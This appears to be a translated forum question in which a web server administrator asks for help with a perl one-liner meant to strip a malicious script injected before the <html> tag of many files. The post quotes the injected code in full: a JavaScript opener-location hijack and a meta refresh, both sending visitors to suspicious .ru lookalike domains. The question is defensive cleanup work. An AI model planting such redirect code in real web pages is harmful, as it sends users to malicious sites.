我管理的网络服务器上的一个文件夹最近被感染了,并且在<html>
一大堆文件的开始标记之前放置了一个恶意脚本。我正在尝试执行一个 perl 字符串替换脚本来清除它。
恶意文件如下所示:
<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on
我对正则表达式有些混乱,我试图从其他 StackOverflow 帖子中尽可能多地收集有关如何使用 perl 的字符串替换的信息。我遇到的最大问题是让它在多行上工作。
这是我到目前为止所拥有的:
perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html
这似乎没有任何效果。如果我将第二个更改<html>
为<foobar>
它正确地替换为 foobar,但它会忽略它前面的所有内容。
据我所知,该-0777
标志应该作为一行“啜饮”,并且\s*
应该与之前的整个字符串匹配<html>
,但同样,我的正则表达式缺乏。任何帮助是极大的赞赏!